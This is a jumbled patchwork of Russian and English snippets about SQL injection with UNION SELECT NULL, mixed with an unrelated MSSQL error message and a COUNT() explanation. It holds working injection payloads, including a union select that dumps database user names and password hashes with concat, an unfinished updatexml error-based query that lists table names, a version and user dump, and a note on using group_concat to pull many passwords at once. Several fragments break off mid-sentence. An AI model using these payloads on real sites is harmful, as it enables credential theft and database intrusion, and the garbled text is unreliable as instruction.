?id=1' union select null,null,concat(user(),0x3a,password('user()'),null --. В результате запроса в одном поле будет выведена информация о пользователях БД (логин) и их пароли в виде хеша, используя функцию concat. 2. Автоматизация.
Выведем названия таблиц: 1' and updatexml(null,concat(0x7B,(select table_name from
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
select * from users union all select 1,2,3,NULL,NULL,NULL,NULL,NULL,NULL (types of columns must match or be of derived types or NULL).
...NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(version(),0x3a,user()),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#.
Msg 1934, Level 16, State 1, Procedure log, Line 7 INSERT failed because the following SET options have incorrect settings: 'CONCAT_NULL_YIELDS_NULL'. Verify that SET options are correct for use with indexed views and/or indexes on computed columns and/or filtered indexes and/or query...
@@datadir: database storage data path. concat(): Union data used to combine two data results. Such as concat(username,0x3a,password). group_concat(): Similar to concat(), such as group_concat(DISTINCT+user, 0x3a, password), used to inject multiple pieces of data at once.
Смысл select null - это вывод пустого столбца (ну мало ли, вам надо 13 столбцов выдать, а в таблице только 12 - вот чтобы не изобретать составное поле, на расчет которого сервер потратит время и ресурсы, добавляют в select еще null).
UNION позволяет объединять результаты в один от нескольких выражений SELECT. Конструируем наш запрос с UNION
The COUNT() function is used to obtain the total number of the rows in the result set. When we use this function with the star sign it count all rows from the table regardless of NULL values. Such as, when we count the Person table through the following query, it will return 19972.